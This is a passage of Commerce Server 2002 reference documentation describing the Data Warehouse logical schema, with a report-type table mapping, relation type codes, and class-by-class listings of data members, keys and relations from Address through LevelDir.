Report type | StaticSQL | StaticMDX | DynamicSQL | DynamicMDX | GroupedSQL | GroupedMDX
Design-time table |  |  |  |  |  |
Report | X | X | X | X | X | X
ReportDimension | X | X |  |  | X | X
ReportParam | X | X |  |  | X | X
Run-time table |  |  |  |  |  |
GroupReportJob |  |  |  |  | X | X
GroupReportStatus |  |  |  |  | X | X
GroupReportDbObject |  |  |  |  | X | X
ReportInstanceDbObject | X |  |  |  | X |
ReportInstanceParam | X | X |  |  | X | X
ReportStatus | X | X |  |  |  |


Data Warehouse Schema

The Commerce Server 2002 Data Warehouse uses a logical schema to isolate applications from the underlying physical database. The basic structures of the logical schema are the class, data member, relation, and key. A meta-model containing a set of attributes (the meta-data) is used to define these basic structures. Detailed knowledge of the logical schema is only needed when extending the schema to encompass a third-party data structure.

This section contains:

  • Data Warehouse Classes. Lists in alphabetical order the conceptual (logical) classes in the Data Warehouse.
  • Data Warehouse Meta-model. Describes the meta-model used to define the classes, data members, class relations, and class keys of the Data Warehouse.
  • Physical Schema. Describes the logical-to-physical mapping of the conceptual data to the underlying data store.

See Also

Extending the Data Warehouse


Data Warehouse Classes

This section provides an alphabetical list of the Commerce Server 2002 Data Warehouse logical classes. Information about the class data members, class relations, and class keys is included. The physical classes corresponding to these logical classes can be found in the Microsoft Management Console (MMC) under Microsoft SQL Servers\SQL Server Group\<server name>\Databases\<data warehouse database>\Tables.

The following table contains the relation types and the corresponding type codes used in the Relations table of each class description.

Relation Type | Code | Description
One-to-Many | 2 | Each parent has zero or more children, each child has one parent. The identifier ("Classname"ID) of the parent is used as a foreign key by the child.
Many-to-Many | 3 | Each parent has zero or more children, each child has one or more parents.
Application Defined | 5 | Defined in the schema for completeness and purposes of discovery through the OLE DB Provider for Commerce Server, but it is not used by the provider’s storage engine for writing parent instances.

Commerce Server 2002 Data Warehouse Logical Classes

The following table contains links to the logical classes of the Data Warehouse.

Address | ImportOptions | Referrer
AdItem | IndustryCode | ReferrerDomain
Basket | IPRef | RegisteredUser
Campaign | LastUriByDate | Request
CampaignEvent | LevelDir | RequestByDateByUriByQueryString
CampaignItem | Level1Dir | ServerBinding
CampaignItemTypes | Level2Dir | ServerGroup
CatalogGlobal | Level3Dir | Site
Category | Level4Dir | SiteSummary
CatHierarchy | Level5Dir | SiteTerm
CommerceEvent | Level6Dir | SiteTermDescription
Crawler | LinkMVQStringName | SiteURL
Creative | LinkSVQStringName | SVQStringName
CreativeSize | LogImportSubtask | Target
CreativeType | LogUser | TargetGroup
CreativeTypeXRef | MVQStringName | TargetGroupXRef
CurrencyCode | OpenUserVisit | TaskHistory
Customer | Order | URI
Date | OrderDiscount | URIQuery
DmItem | OrderFormHeader | UserAgent
EventType | OrderFormLineItems | VirtualServer
FirstUriByDate | OrderGroup | Visit
HitsByHour | OrderGroupAddresses | VisitInfo
HitsInfo | PageGroup | Win32Status
HostnameRef | PageGroupXRef |
HttpStatus | Products |


Address

This class stores user and organization addresses. By default, the Commerce Server 2002 User Profile Data Import Data Transformation Services (DTS) task imports profile data into this class.

Data Members

Data Member Name | Data Type | Default Value | Description
AddressName | WSTR | None | None.
AddressType | LONG | None | 0 – Address 1 – ShipTo address 2 – BillTo address
City | WSTR | None | None.
CountryCode | WSTR | None | Stores the country/region (ISO) code
CountryName | WSTR | None | None.
DateCreated | FILETIME | None | None.
DateLastChanged | FILETIME | None | None.
FirstName | WSTR | None | Stores the first name of the user
Id | UUID | {00000000-0000-0000-0000-000000000000} | Stores the unique key for the object
LastName | WSTR | None | Stores the last name of the user
PostalCode | WSTR | None | Stores the postal or ZIP Code
RegionCode | WSTR | None | None.
RegionName | WSTR | None | Stores the state/province or country/region name
SiteName | WSTR | Unknown | None.
TelephoneExtension | WSTR | None | None.
TelephoneNumber | WSTR | None | None.

Class Key

AddressKey is composed of a single data member, Id.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
AddressUserRel | Address | RegisteredUser | 2
SiteAddressRel | Site | Address | 3


AdItem

This class represents scheduled advertising content for a Web page imported by the Campaign Data Import DTS task. The class contains data members that describe when the advertisement runs and codes that link the advertisement to the products it represents. The IndustryCode class provides a classification of the type of advertisement contained in the AdItem object.

Data Members

Data Member Name | Data Type | Default Value | Description
AdItemCustomerOrderNum | WSTR | None | Stores the code used by customers to order through the advertisement.
AdItemDaysOfWeekMask | SHORT | None | Indicates which days of the week the advertisement was shown.
AdItemEventsScheduled | LONG | None | Stores the number of scheduled events associated with the advertisement.
AdItemNum | LONG | 0 | Stores the unique key for the object. Key member.
AdItemTimeOfDayEnd | SHORT | None | Indicates the time of day the advertisement stopped being displayed.
AdItemTimeOfDayStart | SHORT | None | Indicates the time of day the advertisement started being displayed.
AdItemType | SHORT | None | Stores the type of advertisement.
AdItemWeight | LONG | None | Stores the relative importance of the advertisement.
CampItemNum | LONG | 0 | None.
IndustryNum | LONG | 0 | None.
SiteName | WSTR | Unknown | Stores the name of the site associated with the advertisement. Key member.

Class Key

AdItemKey is composed of the following data members:

AdItemNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
AdItemCampaignItem | CampaignItem | AdItem | 2
AdItemIndustryCode | IndustryCode | AdItem | 2


Basket

This class represents the business transaction involved in adding or removing a product from a shopping basket.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | None.
EventName | WSTR | Unknown | None.
ProductNameCat | WSTR400 | Unknown | None.
RequestIndex | SHORT | None | None.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
URIKey | INT64 | 0 | None.
UserId | WSTR | Unknown | None.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | None.

Class Key

No key is defined for this class. It is a dependent class.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateBasketTimeStamp | Date | Basket | 2
EventTypeBasketRel | EventType | Basket | 2
LogUserBasketRel | LogUser | Basket | 5
ProductsBasketRel | Products | Basket | 2
RegisteredUserBasketRel | RegisteredUser | Basket | 2
SiteBasket | Site | Basket | 2
TaskHistoryBasket | TaskHistory | Basket | 2
UriBasket | URI | Basket | 5
VisitBasketRel | Visit | Basket | 5


Campaign

This class defines the business process involved in running a marketing campaign for an advertiser. The Campaign class associates a customer (the advertiser) with a set of CampaignItem objects (advertisements, discounts, direct mailings, or related sell items). A Campaign object is associated with an EventType object, which describes the marketing event.

A Customer object may have multiple Campaign objects associated with it; this represents multiple advertising campaigns for the customer over time. A Campaign may contain multiple sets of content items (CampaignItem objects). Each set of content items, in turn, may have multiple items (for example, AdItem objects), and may target multiple user groups. Finally, a Web page may contain multiple content items, and a content item may be included in multiple, distinct pages. All of these possibilities are represented through the one-to-many relations between classes.

Data Members

Data Member Name | Data Type | Default Value | Description
CampActive | SHORT | None | None.
CampaignExported | FILETIME | None | Records when the Campaign object was exported.
CampaignModified | FILETIME | None | Records when the Campaign object was last modified.
CampaignModifiedBy | WSTR | None | Stores who last modified the Campaign object.
CampArchived | FILETIME | None | Records when the Campaign object was archived.
CampEnd | FILETIME | None | Records when the Campaign object was discontinued.
CampEventsSched | LONG | None | Stores the number of campaign events scheduled for the Campaign object.
CampLevelGoal | SHORT | None | None.
CampName | WSTR | None | Stores the name of the Campaign object.
CampNum | LONG | 0 | Stores the unique key for the Campaign object. Key member.
CampStart | FILETIME | None | Records when the Campaign object became active.
CustomerComments | WSTR | None | Stores any comments made by the customer associated with the Campaign object.
CustomerNum | LONG | 0 | None.
EventName | WSTR | Unknown | None.
SiteName | WSTR | Unknown | Stores the name of the site associated with the Campaign object. Key member.

Class Key

CampaignKey is composed of the following data members:

CampNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignCustomer | Customer | Campaign | 2
CampaignEventType | EventType | Campaign | 2
CampaignItemCampaign | Campaign | CampaignItem | 2


CampaignEvent

This class stores event information for marketing campaigns. An event for a marketing campaign includes hits on CampaignItem objects and business transactions involving CampaignItem objects.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemNum | LONG | 0 | None.
CNT | WSTR | None | Records the number of Web events represented by the CampaignEvent object.
DTimeStamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | None.
EventName | WSTR | Unknown | None.
EX | WSTR | None | None.
PgNum | LONG | 0 | None.
RequestIndex | SHORT | None | None.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
URIKey | INT64 | 0 | None.
UserId | WSTR | Unknown | None.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | None.

Class Key

No key is defined for this class. It is a dependent class.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemCampaignEventRel | CampaignItem | CampaignEvent | 2
DateCampaignEventTimeStamp | Date | CampaignEvent | 2
EventTypeCampaignEventRel | EventType | CampaignEvent | 2
LogUserCampaignEventRel | LogUser | CampaignEvent | 5
PageGroupCampaignEventRel | PageGroup | CampaignEvent | 2
RegisteredUserCampaignEventRel | RegisteredUser | CampaignEvent | 2
SiteCampaignEvent | Site | CampaignEvent | 2
TaskHistoryCampaignEvent | TaskHistory | CampaignEvent | 2
UriCampaignEvent | URI | CampaignEvent | 5
VisitCampaignEventRel | Visit | CampaignEvent | 5


CampaignItem

This class represents the content included in a marketing campaign (a Campaign object) and a scheduled advertisement (a Creative object). The content is represented by one or more of the following objects: AdItem, DmItem, or OrderDiscount.

A CampaignItem object may belong to a specific type of campaign item, specified by a link to a CampaignItemTypes object.

The content items may target specific groups of users; if this occurs, the CampaignItem object links to one or more TargetGroupXRef objects. The TargetGroupXRef class cross-references custom content items with targeted user groups.

Finally, the content items may be part of a Web page presenting multiple groups of custom content. A PageGroupXRef object cross-references the CampaignItem object with the page or pages containing the items.

A CampaignItem object can have multiple content items (for example, AdItem objects), and can target multiple user groups. A Web page may contain multiple content items, and a content item may be included in multiple, distinct pages. All of these possibilities are represented through the one-to-many relationships between classes.

Data Members

Data Member Name | Data Type | Default Value | Description
Active | SHORT | None | Records if the CampaignItem object is active.
ArchivedDate | FILETIME | None | Records when the CampaignItem object was archived.
CampItemNum | LONG | 0 | Stores the unique key for the CampaignItem object. Key member.
CampNum | LONG | 0 | None.
Comments | WSTR | None | Records any comments regarding the objects.
CreativeNum | LONG | 0 | None.
EndDate | FILETIME | None | Records when the CampaignItem object was discontinued.
ExportedDate | FILETIME | None | Records when the CampaignItem object was exported.
ExposureLimit | LONG | None | None.
GUIDCampItemType | UUID | {00000000-0000-0000-0000-000000000000} | None.
ModifiedBy | WSTR | None | Records who last modified the CampaignItem object.
ModifiedDate | FILETIME | None | Records when the CampaignItem object was last modified.
Name | WSTR | None | Stores the name of the CampaignItem object.
SiteName | WSTR | Unknown | Records the name of the site associated with the CampaignItem object. Key member.
StartDate | FILETIME | None | Records when the CampaignItem object was activated.

Class Key

CampaignItemKey is composed of the following data members:

CampItemNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
AdItemCampaignItem | CampaignItem | AdItem | 2
CampaignItemCampaign | Campaign | CampaignItem | 2
CampaignItemCampaignEventRel | CampaignItem | CampaignEvent | 2
CampaignItemCampaignItemTypes | CampaignItemTypes | CampaignItem | 2
CampaignItemCreative | Creative | CampaignItem | 2
CampaignItemPageGroupXrefRel | CampaignItem | PageGroupXref | 2
CampaignItemTargetGroupXrefRel | CampaignItem | TargetGroupXref | 2
DmItemCampaignItem | CampaignItem | DmItem | 2
OrderDiscountCampaignItem | CampaignItem | OrderDiscount | 2


CampaignItemTypes

This class represents categories for custom Web page content. A CampaignItemTypes object links to zero or more CampaignItem objects.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemTypeName | WSTR | None | Stores the name of the item type.
CampItemTypeTable | WSTR | None | None.
GUIDCampItemType | UUID | {00000000-0000-0000-0000-000000000000} | Stores the unique key for the object. Key member.
SiteName | WSTR | Unknown | Stores the name of the site associated with the item type. Key member.

Class Key

CampaignItemTypesKey is composed of the following data members:

GUIDCampItemTypes + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemCampaignItemTypes | CampaignItemTypes | CampaignItem | 2
CampaignItemTypesCreativeTypeXrefRel | CampaignItemTypes | CreativeTypeXRef | 2


CatalogGlobal

This class represents a global catalog that stores other catalogs.

Data Members

Data Member Name | Data Type | Default Value | Description
CatalogName | WSTR | Unknown | Stores the unique key (name) of the object.
Currency | WSTR | None | Not used by the Product Catalog System.
EndDate | DATETIME | None | Not used by the Product Catalog System.
Locale | LONG | None | Not used by the Product Catalog System.
ProductID | WSTR | None | The name of the column in the catalog that stores the ProductID.
SiteName | WSTR | Unknown | None.
StartDate | DATETIME | None | Not used by the Product Catalog System.
VariantID | WSTR | None | The name of the column in the catalog that stores the VariantID. If NULL, product variants are not supported.
WeightMeasure | WSTR | None | Not used by the Product Catalog System.

Class Key

CatalogGlobalKey is composed of a single data member, CatalogName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CatalogSite | Site | CatalogGlobal | 3


Category

This class represents a category of a sales catalog.

Data Members

Data Member Name | Data Type | Default Value | Description
CatalogName | WSTR | Unknown | Stores the catalog name.
CategoryName | WSTR | Unknown | Stores the category name.
CategoryNameCat | WSTR400 | Unknown | Stores the unique key (catalog name concatenated with category name) for the object.

Class Key

CategoryKey is composed of a single data member, CategoryNameCat.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Category | Category | Products | 3


CatHierarchy

This class represents a level of a hierarchical sales catalog.

Data Members

Data Member Name | Data Type | Default Value | Description
ChildCategoryCat | WSTR400 | Unknown | Stores the catalog name concatenated with the child category name.
ParentCategoryCat | WSTR400 | Unknown | Stores the catalog name concatenated with the parent category name.

Class Key

CatHierarchyKey is composed of the following data members:

ParentCategoryCat + ChildCategoryCat.

Relations

No relations are defined for this class.


CommerceEvent

This class represents the mappings between commerce events and the logical classes that store the event data. Commerce events are specially structured query strings written by Commerce Server components.

Note

  • Two different class members should not point to the same storage member.

Data Members

Data Member Name | Data Type | Default Value | Description
CommerceEventClassName | WSTR | None | Stores the name of the event class.
CommerceEventMemberName | WSTR | None | Stores the name of the event member.
StorageClassName | WSTR | None | Stores the name of the storage class.
StorageMemberName | WSTR | None | Stores the name of the storage member.

Class Key

No key is defined for this class. It is a dependent class.

Relations

No relations are defined for this class.


Crawler

This class represents a Web crawler associated with a site. The Crawler object links to a Site object. A Site object can have more than one Crawler objects linked to it. The Crawler object is used during log import as a reference table. When the Web Log Import DTS task is configured to exclude particular Crawler strings, they are stored in this class. New rows are not inserted into the Crawler table during a log import.

Data Members

Data Member Name | Data Type | Default Value | Description
CrawlerString | WSTR | Unknown | Key member.
SiteName | WSTR | Unknown | None.

Class Key

CrawlerKey is composed of the following data members:

CrawlerString + SiteId.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteCrawlerRel | Site | Crawler | 2


Creative

This class defines the business process involved in scheduling Web content for a customer (for example, an advertiser). The type of content is recorded by a link to a CreativeType object. One or more CampaignItem objects describe the scheduled content; this content includes advertisements, discounts, related sell items, or direct mailings. A CreativeSize object defines the area of the Web page used to contain the content.

A Customer object may have multiple Creative objects associated with it; this represents multiple advertisements for the customer over time. A Creative advertisement may contain multiple sets of content items (CampaignItem objects). Each set of content items, in turn, may have multiple items (for example, AdItem objects), and may target multiple user groups. Finally, a Web page may contain multiple content items, and a content item may be included in multiple, distinct pages. All of these possibilities are represented through the one-to-many relationships between classes.

Data Members

Data Member Name | Data Type | Default Value | Description
CreativeNum | LONG | 0 | Stores the unique key for the Creative object. Key member.
CreativeReceived | FILETIME | None | None.
CreativeSizeNum | LONG | 0 | None.
CreativeTypeNum | LONG | 0 | None.
CustomerNum | LONG | 0 | None.
SiteName | WSTR | None | Stores the name of the site associated with the Creative object. Key member.

Class Key

CreativeKey is composed of the following data members:

CreativeNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemCreative | Creative | CampaignItem | 2
CreativeCustomer | Customer | Creative | 2
CreativeSizeCreative | CreativeSize | Creative | 2
CreativeTypeCreative | CreativeType | Creative | 2


CreativeSize

This class represents the size of custom content on a Web page. A CreativeSize object links to one or more Creative objects.

Data Members

Data Member Name | Data Type | Default Value | Description
CreativeSizeNum | LONG | 0 | Stores the unique key for the object. Key member.
SiteName | WSTR | Unknown | Stores the name of the site associated with the object. Key member.
SizeHeight | SHORT | None | Stores the height (in pixels) of the custom content size.
SizeName | WSTR | None | Stores the name of the custom content size object.
SizeTag | WSTR | None | Stores the tag associated with the custom content size.
SizeWidth | SHORT | None | Stores the width (in pixels) of the custom content size.

Class Key

CreativeSizeKey is composed of the following data members:

CreativeSizeNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CreativeSizeCreative | CreativeSize | Creative | 2


CreativeType

This class categorizes custom content for Web pages. A CreativeType object links to zero or more Creative objects.

Data Members

Data Member Name | Data Type | Default Value | Description
CreativeTypeName | WSTR | None | Stores the name of the object.
CreativeTypeNum | LONG | 0 | Stores the unique key for the object. Key member.
CreativeTypeTemplate | WSTR | None | None.
SiteName | WSTR | Unknown | Key member.

Class Key

CreativeTypeKey is composed of the following data members:

CreativeTypeNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CreativeTypeCreative | CreativeType | Creative | 2
CreativeTypeCreativeTypeXrefRel | CreativeType | CreativeTypeXref | 2


CreativeTypeXRef

This class categorizes custom content for Web pages. One or more CreativeTypeXRef objects link to a CreativeType.

Data Members

Data Member Name | Data Type | Default Value | Description
CreativeTypeNum | LONG | 0 | Key member.
GUIDCampItemType | UUID | {00000000-0000-0000-0000-000000000000} | Key member.
SiteName | WSTR | None | Stores the name of the site associated with the object.

Class Key

CreativeTypeXRefKey is composed of the following data members:

CreativeTypeNum + GUIDCampItemType.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemTypesCreativeTypeXRefRel | CampaignItemTypes | CreativeTypeXRef | 2
CreativeTypeCreativeTypeXRefRel | CreativeType | CreativeTypeXRef | 2


CurrencyCode

This class defines the currency in which the order was processed. By default, this column is not present in the OrderFormHeader table of the transactions database. If the schema is extended to include the CurrencyCode column in the OrderFormHeader table, the Transaction Data Import DTS task will pull data from this new column. If this column is not included in the OrderFormHeader table, then the default currency code from the Administration database will be read and will populate the CurrencyCode column of the OrderFormHeader table.

Data Members

Data Member Name | Data Type | Default Value | Description
CurrencyCode | nvarchar | None | None.

Class Key

CurrencyCodeKey is composed of a single data member, CurrencyCode.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CurrencyCodeOrderFormHeader | CurrencyCode | OrderFormHeader | 2


Customer

This class defines a customer who uses advertising through a Commerce Server 2002 Web site. A Customer object associates with an IndustryCode object, which defines the category of industry the customer belongs to. A link to one or more Campaign objects records the marketing campaigns for the customer. A link to one or more Creative objects records any custom advertisements for the customer.

Data Members

Data Member Name | Data Type | Default Value | Description
Address | WSTR | None | Stores the address for the Customer object.
Archived | FILETIME | None | Stores the time the Customer object was archived.
Comments | WSTR | None | Stores any comments concerning the Customer object.
Contact | WSTR | None | Stores the name of the contact for the Customer object.
CustomerNum | LONG | 0 | Stores the unique key for the Customer object. Key member.
CustomerTypeNum | LONG | None | Stores a user-definable classification code.
Email | WSTR | None | Stores the e-mail address for the Customer object.
Exported | FILETIME | None | Stores the time the Customer object was exported.
Fax | WSTR | None | Stores the fax number for the Customer object.
IndustryNum | LONG | 0 | None
Modified | FILETIME | None | Stores the time the Customer object was last modified.
ModifiedBy | WSTR | None | Stores who last modified the Customer object.
Name | WSTR | None | Stores the name of the Customer object.
PassWord | WSTR | None | Stores the password for the Customer object.
Phone | WSTR | None | Stores the phone number for the Customer object.
SiteName | WSTR | Unknown | Stores the name of the site associated with the Customer object. Key member.
URL | WSTR | None | Stores the URL associated with the Customer object.
UserName | WSTR | None | Stores the user name for the Customer object.

Class Key

CustomerKey is composed of the following data members:

CustomerNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignCustomer | Customer | Campaign | 2
CreativeCustomer | Customer | Creative | 2
CustomerIndustryCode | IndustryCode | Customer | 2


Date

This class represents dates and times.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | 1900-1-1 0:0:0.0 | Stores the timestamp.

Class Key

DateKey is composed of a single data member, DTimestamp.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateBasketTimeStamp | Date | Basket | 2
DateCampaignEventTimeStamp | Date | CampaignEvent | 2
DateFirstUriByDate | Date | FirstUriByDate | 2
DateHitsByHour | Date | HitsByHour | 2
DateHitsInfo | Date | HitsInfo | 2
DateLastUriByDate | Date | LastUriByDate | 2
DateOrderGroup | Date | OrderGroup | 2
DateOrderTimeStamp | Date | Order | 2
DateRequestByDateByUriByQueryString | Date | RequestByDateByUriByQueryString | 2
DateToOrderFormHeader | Date | OrderFormHeader | 2
DateVisitInfoFirstTimeStamp | Date | VisitInfo | 2


DmItem

This class represents scheduled direct mail items. The class contains data members detailing the direct mail content, including address and format information.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemNum | LONG | 0 | None.
DmItemAttachment | WSTR | None | Stores the name of the attachment for the direct mail item.
DmItemDefformat | SHORT | None | Stores the default format code for the direct mail item.
DmItemDesc | WSTR | None | Stores a description of the direct mail item.
DmItemFrom | WSTR | None | Stores the e-mail address for the "from" field in the direct mail item.
DmItemNum | LONG | 0 | Stores the unique key for the object.
DmItemPersonalized | SHORT | None | Indicates if the direct mail item is personalized.
DmItemReplyTo | WSTR | None | Stores the "reply-to" e-mail address for the direct mail item.
DmItemScheduleId | WSTR | None | None.
DmItemSource | WSTR | None | Stores the name of the source for the direct mail item.
DmItemSubj | WSTR | None | Stores the subject line for the direct mail item.
DmItemUserFlags | LONG | None | Stores an encoded set of flags governing user data associated with the direct mail item.
GUIDDmItemListId | UUID | None | None.
GUIDDmItemOptout | UUID | None | None.
GUIDDmItemTestListId | UUID | None | None.
SiteName | WSTR | Unknown | Stores the name of the site associated with the object. Key member.

Class Key

DmItemKey is composed of the following data members:

DmItemNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DmItemCampaignItem | CampaignItem | DmItem | 2


EventType

This class represents a categorization of marketing events. An EventType object describes a marketing event, and associates with one or more Campaign objects representing the marketing campaigns in the event.

Data Members

Data Member Name | Data Type | Default Value | Description
EventDescription | WSTR | None | Stores a description of the campaign event.
EventName | WSTR | Unknown | Stores the unique key for the object.

Class Key

EventTypeKey is composed of a single data member, EventName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignEventType | EventType | Campaign | 2
EventTypeBasketRel | EventType | Basket | 2
EventTypeCampaignEventRel | EventType | CampaignEvent | 2
EventTypeOrderRel | EventType | Order | 2


FirstUriByDate

The class represents a summarization of information about the first Uniform Resource Identifier (URI) in each visit grouped by date.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | None.
FirstUriKey | INT64 | 0 | Key member.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
VisitCount | LONG | 0 | None.

Class Key

FirstUriByDateKey is composed of the following data members:

DateID + FirstUriKey + SiteID + TaskHistoryID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateFirstUriByDate | Date | FirstUriByDate | 2
SiteFirstUriByDate | Site | FirstUriByDate | 2
TaskHistoryFirstUriByDate | TaskHistory | FirstUriByDate | 2
uriFirstUriByDate | URI | FirstUriByDate | 5


HitsByHour

The class represents a summary of hits information grouped on an hour-by-hour basis.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | Key member.
HitsCount | LONG | 0 | None.
SiteName | WSTR | Unknown | Key member.
TaskID | LONG | 0 | Key member.
TotalBytesReceived | LONGREAL | 0 | None.
TotalBytesSent | LONGREAL | 0 | None.

Class Key

HitsByHourKey is composed of the following data members:

DTimestamp + SiteName + TaskID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateHitsByHour | Date | HitsByHour | 2
SiteHitsByHour | Site | HitsByHour | 2
TaskHistoryHitsByHour | TaskHistory | HitsByHour | 2


HitsInfo

This class represents summary information about hits on a Web site.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | 1900-1-1 0:0:0.0 | None.
HitsCount | LONG | 0 | None.
HttpStatus | ULONG | 0 | None.
IsRequest | SHORT | 0 | Key member.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
uriKey | INT64 | 0 | None.
Win32Status | ULONG | 0 | None.

Class Key

HitsInfoKey is composed of the following data members:

DateID + IsRequest + HttpStatusID + Win32StatusID + SiteID + TaskHistoryID + URIKey.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateHitsInfo | Date | HitsInfo | 2
HttpStatusHitsInfo | HttpStatus | HitsInfo | 2
SiteHitsInfo | Site | HitsInfo | 2
TaskHistoryHitsInfo | TaskHistory | HitsInfo | 2
uriHitsInfo | URI | HitsInfo | 5
Win32StatusHitsInfo | Win32Status | HitsInfo | 2


HostnameRef

This class represents the host name reference for an Internet Protocol (IP) address. A HostnameRef object links to one or more IPRef objects.

Data Members

Data Member Name | Data Type | Default Value | Description
Hostname | WSTR | Unknown | Stores the unique key for the object.

Class Key

HostnameRefKey is composed of a single data member, Hostname.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
HostnameRefIPRefRel | HostnameRef | IPRef | 2


HttpStatus

This class represents the HTTP status codes as stored in the Web log file.

Data Members

Data Member Name | Data Type | Default Value | Description
HttpStatus | ULONG | 0 | Stores the unique key for the object.
IsSuccessCode | SHORT | None | 2xx - success 3xx - redirect 4xx - failure 5xx - server setup incorrect

Class Key

HttpStatusKey is composed of a single data member, HttpStatus.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
HttpStatusHitsInfo | HttpStatus | HitsInfo | 2
HttpStatusRequest | HttpStatus | Request | 2


ImportOptions

The class represents the options for importing information.

Data Members

Data Member Name | Data Type | Default Value | Description
HitsBufferMaxSize | LONG | None | None.
NumImportPipeline | LONG | None | None.

Class Key

No key is defined for this class. It is a dependent class.

Relations

No relations are defined for this class.


IndustryCode

This class categorizes the type of industry a customer or advertising item represents. An IndustryCode object links to zero or more Customer objects and zero or more AdItem objects.

Data Members

Data Member Name | Data Type | Default Value | Description
IndustryCode | WSTR | None | Stores the code for the type of industry represented by the object.
IndustryNum | LONG | 0 | Stores the unique key for the object. Key member.
SiteName | WSTR | Unknown | Stores the name of the site associated with the object. Key member.

Class Key

IndustryCodeKey is composed of the following data members:

IndustryNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
AdItemIndustryCode | IndustryCode | AdItem | 2
CustomerIndustryCode | IndustryCode | Customer | 2


IPRef

This class represents an Internet Protocol (IP) reference for a LogUser object. An IPRef object contains information on the IP address, the number of look-ups associated with the address, and the status of the reference.

An IPRef object associates with a HostNameRef object, describing the host associated with the IP address.

Data Members

Data Member Name | Data Type | Default Value | Description
Hostname | WSTR | Unknown | None.
IPAddress | WSTR | 0.0.0.0 | Stores the unique key for the object.
LastModifiedTime | FILETIME | None | Stores the time the object was last modified.
Status | LONG | None | Indicates whether the IP address is resolved: 0 - Unresolved 1 - Resolved

Class Key

IPRefKey is composed of a single data member, IPAddress.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
HostnameRefIPRefRel | HostnameRef | IPRef | 2
IPRefUserRel | IPRef | LogUser | 2


LastUriByDate

The class represents a summary of information about the last URI in each visit grouped by date.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | None,
LastUriKey | INT64 | 0 | Key Member.
SiteName | WSTR | Unknown | Name of the commerce site.
TaskID | LONG | 0 | Foreign key of Task History class.
VisitCount | LONG | 0 | Number of visits for the given URI, within the given site, within the given time.

Class Key

LastUriByDateKey is composed of the following data members:

DateID + LastURIKey + SiteID + TaskHistoryID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateLastUriByDate | Date | LastUriByDate | 2
SiteLastUriByDate | Site | LastUriByDate | 2
TaskHistoryLastUriByDate | TaskHistory | LastUriByDate | 2
uriLastUriByDate | URI | LastUriByDate | 5


LevelDir

This class contains the separated directory levels of a URI. The levels are separated by a slash '/'. The Web Log Import DTS task is responsible for separating the different levels and populating this class.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName1 | WSTR | / | None.
DirName2 | WSTR | * | None.
DirName3 | WSTR | * | None.
DirName4 | WSTR | * | None.
DirName5 | WSTR | * | None.
DirName6 | WSTR | * | None.

Class Key

LevelDirKey is composed of the following data members:

DirName1 +DirName2 + DirName3 + DirName4 + DirName5 + DirName6.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level1DirLevelDirRel | Level1Dir | LevelDir | 2
Level2DirLevelDirRel | Level2Dir | LevelDir | 2
Level3DirLevelDirRel | Level3Dir | LevelDir | 2
